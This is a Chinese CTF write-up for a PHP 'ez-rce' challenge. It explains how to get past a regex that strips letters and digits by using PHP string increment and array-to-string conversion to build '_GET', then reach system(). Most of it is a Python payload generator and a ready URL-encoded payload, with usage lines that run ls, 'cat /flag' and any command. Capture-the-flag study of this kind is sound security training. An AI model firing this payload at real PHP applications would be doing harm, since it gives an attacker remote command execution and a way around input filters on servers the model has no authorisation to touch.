【CTF】【ez-rce】无字母数字绕过正则表达式

解题过程

进入实例,发现会自动跳转百度,使用burpsuit抓包,发现源码路径

访问./s3cret/rce.php,可以看到改题目的源码

正则如下:

plain 复制代码
[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]

被过滤的字符:

  • 所有字母 a-zA-Z
  • 所有数字 0-9
  • 特殊字符:@ # % ^ & * : { } - < ? > " | ~ `

意味着我们不能用异或^、或 |、取反 ~
可用字符: $ _ ( ) ; ' . + = ! / 和空格

所以我们要使用 PHP自增特性 + 数组转字符串 来构造字母:

  • 1.[ ] 空数组转字符串可得 "Array"
  • 2.用 !\[\] (true=1) 和 !!\[\] (false=0) 构造数字索引
  • 3.从 "Array" 提取字母,通过 ++ 自增得到其他字母

py脚本

python 复制代码
#!/usr/bin/env python3
"""
CTF Payload Generator
目标:绕过正则 /[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/
可用字符:$ _ ( ) [ ] ; ' . + = ! / 空格
"""
import re
import urllib.parse

# 正则表达式(用于验证)
banned_pattern = r'[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]'

def check_payload(payload):
    """检查payload是否包含被过滤字符"""
    matches = re.findall(banned_pattern, payload)
    return len(matches) == 0, matches

# === 核心原理 ===
# 1. [].'' 在PHP中得到 "Array"
# 2. ![] = true = 1 (作为数组索引)
# 3. !![] = false = 0 (作为数组索引)  
# 4. 字符串自增: 'a'++ = 'b', 'A'++ = 'B'

# "Array" 字符索引: A(0), r(1), r(2), a(3), y(4)

print("=" * 60)
print("CTF 无字母数字绕过 Payload 生成器")
print("=" * 60)

# === 方法:构造 $_GET 来传递任意命令 ===
# 目标:$_='_GET'; $$_[_]($$_[__]);
# 效果:$_GET['_']($_GET['__'])
# 使用:?shell=payload&_=system&__=ls

# 构造过程:
# 1. $_=[].'';           -> $_ = "Array"
# 2. $__=$_[!![]];       -> $__ = $_[0] = 'A'
# 3. $__++ (6次)         -> $__ = 'G'
# 4. $___=$_[!![]];      -> $___ = 'A'  
# 5. $___++ (4次)        -> $___ = 'E'
# 6. $____=$_[!![]];     -> $____ = 'A'
# 7. $____++ (19次)      -> $____ = 'T'
# 8. $_____='_'.$__.$___.$____; -> $_____ = '_GET'
# 9. $$_____[_]($$_____[__]);   -> $_GET[_]($_GET[__])

payload_parts = [
    "$_=[].''",                    # $_ = "Array"
    "$__=$_[!![]]",                # $__ = 'A' (索引0 = false = !![])
]

# 'A' -> 'G' 需要自增6次
for i in range(6):
    payload_parts.append("$__++")

payload_parts.append("$___=$_[!![]]")  # $___ = 'A'

# 'A' -> 'E' 需要自增4次
for i in range(4):
    payload_parts.append("$___++")

payload_parts.append("$____=$_[!![]]")  # $____ = 'A'

# 'A' -> 'T' 需要自增19次
for i in range(19):
    payload_parts.append("$____++")

payload_parts.append("$_____='_'.$__.$___.$____")  # $_____ = '_GET'
payload_parts.append("$$_____[_]($$_____[__])")    # $_GET[_]($_GET[__])

payload = ";".join(payload_parts) + ";"

print("\n【Payload】")
print(payload)
print()

# 验证
is_valid, bad_chars = check_payload(payload)
if is_valid:
    print("✓ Payload 通过正则检查!不包含被过滤字符")
else:
    print(f"✗ 警告:包含被过滤字符: {set(bad_chars)}")

print("\n【URL编码后的Payload】")
encoded_payload = urllib.parse.quote(payload)
print(encoded_payload)

print("\n" + "=" * 60)
print("【使用方法】")
print("=" * 60)
print(f"\n执行 ls 命令:")
print(f"?shell={encoded_payload}&_=system&__=ls")
print(f"\n执行 cat /flag:")
print(f"?shell={encoded_payload}&_=system&__=cat /flag")
print(f"\n执行任意命令:")
print(f"?shell={encoded_payload}&_=system&__=你的命令")

print("\n" + "=" * 60)
print("【原理解释】")
print("=" * 60)
print("""
1. [].'' 将空数组转为字符串 "Array"
2. !![] = false = 0, ![] = true = 1 (用作数组索引)
3. $_[0] = 'A', 通过 ++ 自增得到其他字母
4. 'A'++ → 'B' → 'C' → ... → 'G' (6次)
5. 'A'++ → 'B' → 'C' → 'D' → 'E' (4次)  
6. 'A'++ → ... → 'T' (19次)
7. 拼接得到 '_GET' 字符串
8. $$_____ 即 $_GET (可变变量)
9. $_GET[_]($_GET[__]) 从URL参数获取函数名和参数
""")

最终payload:

bash 复制代码
?shell=%24_%3D%5B%5D.%27%27%3B%24__%3D%24_%5B%21%21%5B%5D%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%24_%5B%21%21%5B%5D%5D%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24____%3D%24_%5B%21%21%5B%5D%5D%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24_____%3D%27_%27.%24__.%24___.%24____%3B%24%24_____%5B_%5D%28%24%24_____%5B__%5D%29%3B&_=system&__=cat /flag 


总结

这道题的难点在于过滤了字符(^ | ~ %),所以异或/或/取反方法都不能直接用,需要使用 PHP自增+数组转字符串 的方法来构造任意字母。

相关推荐
优橙教育11 小时前
零基础学AI应用开发要多久?3个月能到什么水平
服务器·开发语言·网络·php
郭萌69615 小时前
多商户平台的优惠券,真正的设计对象是「适用范围」而不是券模板
php
额额额对了15 小时前
嵌入式 Linux 启动程序文件
开发语言·嵌入式硬件·php
v:ychya201816 小时前
独立站外贸建站公司怎么选?建站就要建营销型网站
前端·php
梅菲塔亚17 小时前
华为云从入门到实战
开发语言·华为云·php
要吃这碗饭17 小时前
AI 智能体如何通过 auth.md 注册 Bright Data 账号
数据库·人工智能·php
霸道流氓气质17 小时前
幂等性与 Upsert:防止重复操作产生副作用的技术
开发语言·php
qq_5434478218 小时前
DNS解析怎么排查?故障处理与运维实用手册
运维·服务器·网络·php
ZHOUPUYU19 小时前
PHP 9.0 前瞻:下一代 PHP 会带来哪些新功能?
android·开发语言·php
ZHOUPUYU20 小时前
PHP 8.2 的核心高级特性,包括只读类、类型系统增强
android·性能优化·php